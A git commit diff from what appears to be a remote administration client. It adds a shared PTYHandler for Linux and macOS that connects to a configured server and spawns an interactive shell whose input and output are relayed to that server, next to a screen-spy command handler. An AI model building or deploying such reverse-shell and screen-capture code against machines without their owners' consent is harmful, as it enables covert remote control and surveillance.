Feature: Add terminal support for macOS client with shared PTYHandler

This commit is contained in:
yuanyuanxiang
2026-05-03 09:30:46 +02:00
parent 9ae5529458
commit a3611d9fc1
3 changed files with 296 additions and 182 deletions

270
common/PTYHandler.h Normal file
View File

@@ -0,0 +1,270 @@
/**
* PTYHandler.h - Unix Pseudo Terminal Handler
*
* This file provides pseudo terminal (PTY) functionality for remote shell access.
*
* PLATFORM SUPPORT:
* - Linux: Supported
* - macOS: Supported
* - Windows: NOT SUPPORTED (Windows uses different terminal APIs)
*
* USAGE:
* #include "common/PTYHandler.h"
*
* PTYHandler* handler = new PTYHandler(clientObject);
* clientObject->setManagerCallBack(handler, ...);
*/
#pragma once
#if defined(_WIN32) || defined(_WIN64)
#error "PTYHandler.h is not supported on Windows. Use Windows ConPTY or other APIs instead."
#endif
// Platform-specific includes
#ifdef __APPLE__
#include <util.h> // macOS: openpty()
#else
#include <pty.h> // Linux: openpty()
#endif
// Common Unix includes
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <signal.h>
#include <errno.h>
#include <string.h>
#include <thread>
#include <atomic>
#include <stdexcept>
#include "commands.h"
#include "../client/IOCPClient.h"
/**
* PTYHandler - Pseudo Terminal Handler
*
* Manages a pseudo terminal for remote shell access.
* Inherits from IOCPManager to integrate with the IOCP client framework.
*/
class PTYHandler : public IOCPManager
{
public:
// Non-copyable, non-movable (owns system resources)
PTYHandler(const PTYHandler&) = delete;
PTYHandler& operator=(const PTYHandler&) = delete;
PTYHandler(PTYHandler&&) = delete;
PTYHandler& operator=(PTYHandler&&) = delete;
PTYHandler(IOCPClient* client) : m_client(client), m_running(false), m_master_fd(-1), m_slave_fd(-1), m_child_pid(-1)
{
if (!client) {
throw std::invalid_argument("IOCPClient pointer cannot be null");
}
// Create pseudo terminal pair
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
throw std::runtime_error("Failed to create pseudo terminal");
}
// Set master fd to non-blocking mode
int flags = fcntl(m_master_fd, F_GETFL, 0);
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
// Start shell process
startShell();
}
~PTYHandler()
{
m_running = false;
if (m_readThread.joinable()) {
m_readThread.join();
}
if (m_master_fd >= 0) {
close(m_master_fd);
}
if (m_slave_fd >= 0) {
close(m_slave_fd);
}
if (m_child_pid > 0) {
// Check if child is still running before killing
int status;
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
if (result == 0) {
// Child still running, terminate it
kill(m_child_pid, SIGTERM);
waitpid(m_child_pid, nullptr, 0);
}
// If result == m_child_pid, child already exited and was reaped
// If result == -1, child was already reaped elsewhere
}
}
// Start the PTY read thread
void Start()
{
bool expected = false;
if (!m_running.compare_exchange_strong(expected, true)) return;
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
}
// Handle incoming data from server
virtual VOID OnReceive(PBYTE data, ULONG size) override
{
if (size && data[0] == COMMAND_NEXT) {
Start();
return;
}
// Handle terminal resize command
if (size >= 5 && data[0] == CMD_TERMINAL_RESIZE) {
short cols, rows;
memcpy(&cols, data + 1, sizeof(short));
memcpy(&rows, data + 3, sizeof(short));
SetWindowSize(cols, rows);
return;
}
// Write data to PTY
if (size > 0) {
ssize_t total = 0;
while (total < (ssize_t)size) {
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
if (written == -1) {
if (errno == EAGAIN || errno == EINTR) continue;
break;
}
total += written;
}
}
}
// Set terminal window size
void SetWindowSize(int cols, int rows)
{
struct winsize ws;
ws.ws_col = cols;
ws.ws_row = rows;
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
if (ioctl(m_master_fd, TIOCSWINSZ, &ws) == -1) {
return;
}
// Send SIGWINCH to child process to notify window size change
if (m_child_pid > 0) {
kill(m_child_pid, SIGWINCH);
}
}
private:
int m_master_fd;
int m_slave_fd;
IOCPClient* m_client;
std::thread m_readThread;
std::atomic<bool> m_running;
pid_t m_child_pid;
void startShell()
{
m_child_pid = fork();
if (m_child_pid == -1) {
close(m_master_fd);
close(m_slave_fd);
throw std::runtime_error("Failed to fork shell process");
}
if (m_child_pid == 0) {
// Child process
setsid(); // Create new session, become session leader
// Set slave PTY as controlling terminal (required for Ctrl+C to work)
// This must be done after setsid() and before dup2()
ioctl(m_slave_fd, TIOCSCTTY, 0);
// Redirect stdin/stdout/stderr to slave PTY
dup2(m_slave_fd, STDIN_FILENO);
dup2(m_slave_fd, STDOUT_FILENO);
dup2(m_slave_fd, STDERR_FILENO);
close(m_master_fd);
close(m_slave_fd);
// Set terminal environment for xterm.js compatibility
setenv("TERM", "xterm-256color", 1);
setenv("COLORTERM", "truecolor", 1);
#ifdef __APPLE__
// macOS locale settings
setenv("LANG", "en_US.UTF-8", 1);
setenv("LC_ALL", "en_US.UTF-8", 1);
// Try zsh first (macOS default), fallback to bash
if (access("/bin/zsh", X_OK) == 0) {
execl("/bin/zsh", "zsh", "-i", nullptr);
}
execl("/bin/bash", "bash", "-i", nullptr);
#else
// Linux locale settings (C.UTF-8 is most portable)
setenv("LANG", "C.UTF-8", 1);
setenv("LC_ALL", "C.UTF-8", 1);
// Start interactive bash
execl("/bin/bash", "bash", "-i", nullptr);
#endif
_exit(1);
}
}
void readFromPTY()
{
char buffer[4096];
while (m_running) {
// Check if child process has exited
int status;
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
if (result == m_child_pid) {
// Shell exited, send close notification
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
}
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
if (bytes_read > 0) {
if (m_client) {
m_client->Send2Server(buffer, bytes_read);
}
} else if (bytes_read == 0) {
// EOF - PTY closed
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else if (bytes_read == -1) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
usleep(10000); // 10ms
} else if (errno == EIO) {
// EIO typically means PTY slave closed (shell exited)
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else {
break;
}
}
}
}
};

View File

@@ -14,7 +14,7 @@
#include <csignal> #include <csignal>
#include <sys/wait.h> #include <sys/wait.h>
#include <sys/ioctl.h> #include <sys/ioctl.h>
#include <pty.h> #include "common/PTYHandler.h"
#include <iostream> #include <iostream>
#include <stdexcept> #include <stdexcept>
#include <cstdio> #include <cstdio>
@@ -338,187 +338,7 @@ struct RttEstimator {
RttEstimator g_rttEstimator; RttEstimator g_rttEstimator;
int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新 int g_heartbeatInterval = 5; // 默认心跳间隔(秒),可被服务端 CMD_MASTERSETTING 更新
// 伪终端处理类继承自IOCPManager. // PTYHandler moved to common/PTYHandler.h (shared between Linux and macOS)
class PTYHandler : public IOCPManager
{
public:
PTYHandler(IOCPClient* client) : m_client(client), m_running(false)
{
if (!client) {
throw std::invalid_argument("IOCPClient pointer cannot be null");
}
// 创建伪终端
if (openpty(&m_master_fd, &m_slave_fd, nullptr, nullptr, nullptr) == -1) {
throw std::runtime_error("Failed to create pseudo terminal");
}
// 设置伪终端为非阻塞模式
int flags = fcntl(m_master_fd, F_GETFL, 0);
fcntl(m_master_fd, F_SETFL, flags | O_NONBLOCK);
// 启动 Shell 进程
startShell();
}
~PTYHandler()
{
m_running = false;
if (m_readThread.joinable()) m_readThread.join();
close(m_master_fd);
close(m_slave_fd);
if (m_child_pid > 0) {
kill(m_child_pid, SIGTERM);
waitpid(m_child_pid, nullptr, 0);
}
}
// 启动读取线程
void Start()
{
bool expected = false;
if (!m_running.compare_exchange_strong(expected, true)) return;
m_readThread = std::thread(&PTYHandler::readFromPTY, this);
}
virtual VOID OnReceive(PBYTE data, ULONG size)
{
if (size && data[0] == COMMAND_NEXT) {
Start();
return;
}
// 处理终端尺寸调整命令
if (size >= 5 && data[0] == CMD_TERMINAL_RESIZE) {
int cols = *(short*)(data + 1);
int rows = *(short*)(data + 3);
SetWindowSize(cols, rows);
return;
}
std::string s((char*)data, size);
Mprintf("%s", s.c_str());
if (size > 0) {
ssize_t total = 0;
while (total < (ssize_t)size) {
ssize_t written = write(m_master_fd, (char*)data + total, size - total);
if (written == -1) {
if (errno == EAGAIN || errno == EINTR) continue;
Mprintf("OnReceive: write error %d\n", errno);
break;
}
total += written;
}
}
}
// 设置终端窗口尺寸
void SetWindowSize(int cols, int rows)
{
struct winsize ws;
ws.ws_col = cols;
ws.ws_row = rows;
ws.ws_xpixel = 0;
ws.ws_ypixel = 0;
if (ioctl(m_master_fd, TIOCSWINSZ, &ws) == -1) {
Mprintf("SetWindowSize: ioctl failed %d\n", errno);
} else {
// 发送 SIGWINCH 给子进程,通知其窗口大小已改变
if (m_child_pid > 0) {
kill(m_child_pid, SIGWINCH);
}
Mprintf("SetWindowSize: %dx%d\n", cols, rows);
}
}
private:
int m_master_fd, m_slave_fd;
IOCPClient* m_client;
std::thread m_readThread;
std::atomic<bool> m_running;
pid_t m_child_pid;
void startShell()
{
m_child_pid = fork();
if (m_child_pid == -1) {
close(m_master_fd);
close(m_slave_fd);
throw std::runtime_error("Failed to fork shell process");
}
if (m_child_pid == 0) { // 子进程
setsid(); // 创建新的会话
dup2(m_slave_fd, STDIN_FILENO);
dup2(m_slave_fd, STDOUT_FILENO);
dup2(m_slave_fd, STDERR_FILENO);
close(m_master_fd);
close(m_slave_fd);
// 设置完整终端支持xterm.js 终端仿真)
setenv("TERM", "xterm-256color", 1);
setenv("COLORTERM", "truecolor", 1);
// 使用 C.UTF-8 是最通用的 UTF-8 locale几乎所有 Linux 都支持
setenv("LANG", "C.UTF-8", 1);
setenv("LC_ALL", "C.UTF-8", 1);
// 启动交互式 Bash
execl("/bin/bash", "bash", "-i", nullptr);
exit(1);
}
}
void readFromPTY()
{
char buffer[4096];
while (m_running) {
// 检查子进程是否已退出
int status;
pid_t result = waitpid(m_child_pid, &status, WNOHANG);
if (result == m_child_pid) {
// Shell 已退出,发送关闭通知
Mprintf("readFromPTY: shell exited (status=%d)\n", WEXITSTATUS(status));
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
}
ssize_t bytes_read = read(m_master_fd, buffer, sizeof(buffer) - 1);
if (bytes_read > 0) {
if (m_client) {
buffer[bytes_read] = '\0';
Mprintf("%s", buffer);
m_client->Send2Server(buffer, bytes_read);
}
} else if (bytes_read == 0) {
// EOF - PTY 已关闭
Mprintf("readFromPTY: EOF (shell closed)\n");
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else if (bytes_read == -1) {
if (errno == EAGAIN || errno == EWOULDBLOCK) {
usleep(10000);
} else if (errno == EIO) {
// EIO 通常表示 PTY slave 已关闭shell 退出)
Mprintf("readFromPTY: EIO (shell closed)\n");
if (m_client) {
BYTE closeToken = TOKEN_TERMINAL_CLOSE;
m_client->Send2Server((char*)&closeToken, 1);
}
m_running = false;
break;
} else {
Mprintf("readFromPTY: read error %d\n", errno);
break;
}
}
}
}
};
void* ShellworkingThread(void* param) void* ShellworkingThread(void* param)
{ {

View File

@@ -22,6 +22,7 @@
#import "ScreenHandler.h" #import "ScreenHandler.h"
#import "InputHandler.h" #import "InputHandler.h"
#import "SystemManager.h" #import "SystemManager.h"
#import "common/PTYHandler.h"
// Global state // Global state
static std::atomic<bool> g_running(true); static std::atomic<bool> g_running(true);
@@ -615,6 +616,28 @@ struct RttEstimator {
RttEstimator g_rttEstimator; RttEstimator g_rttEstimator;
int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整 int g_heartbeatInterval = 5; // 心跳间隔(秒),默认 5 秒,后续可由服务端动态调整
void* ShellworkingThread(void* param)
{
try {
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, true));
void* clientAddr = ClientObject.get();
NSLog(@">>> Enter ShellworkingThread [%p]", clientAddr);
if (!g_bExit && ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
std::unique_ptr<PTYHandler> handler(new PTYHandler(ClientObject.get()));
ClientObject->setManagerCallBack(handler.get(), IOCPManager::DataProcess, IOCPManager::ReconnectProcess);
BYTE bToken = TOKEN_TERMINAL_START;
ClientObject->Send2Server((char*)&bToken, 1);
NSLog(@">>> ShellworkingThread [%p] Send: TOKEN_TERMINAL_START", clientAddr);
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(1000);
}
NSLog(@">>> Leave ShellworkingThread [%p]", clientAddr);
} catch (const std::exception& e) {
NSLog(@"*** ShellworkingThread exception: %s ***", e.what());
}
return NULL;
}
void* ScreenworkingThread(void* param) void* ScreenworkingThread(void* param)
{ {
try { try {
@@ -651,6 +674,7 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
g_bExit = S_CLIENT_EXIT; g_bExit = S_CLIENT_EXIT;
g_running = false; // Stop main loop to prevent reconnection g_running = false; // Stop main loop to prevent reconnection
} else if (szBuffer[0] == COMMAND_SHELL) { } else if (szBuffer[0] == COMMAND_SHELL) {
std::thread(ShellworkingThread, nullptr).detach();
Mprintf("** [%p] Received 'SHELL' command ***\n", user); Mprintf("** [%p] Received 'SHELL' command ***\n", user);
} else if (szBuffer[0] == COMMAND_SCREEN_SPY) { } else if (szBuffer[0] == COMMAND_SCREEN_SPY) {
std::thread(ScreenworkingThread, nullptr).detach(); std::thread(ScreenworkingThread, nullptr).detach();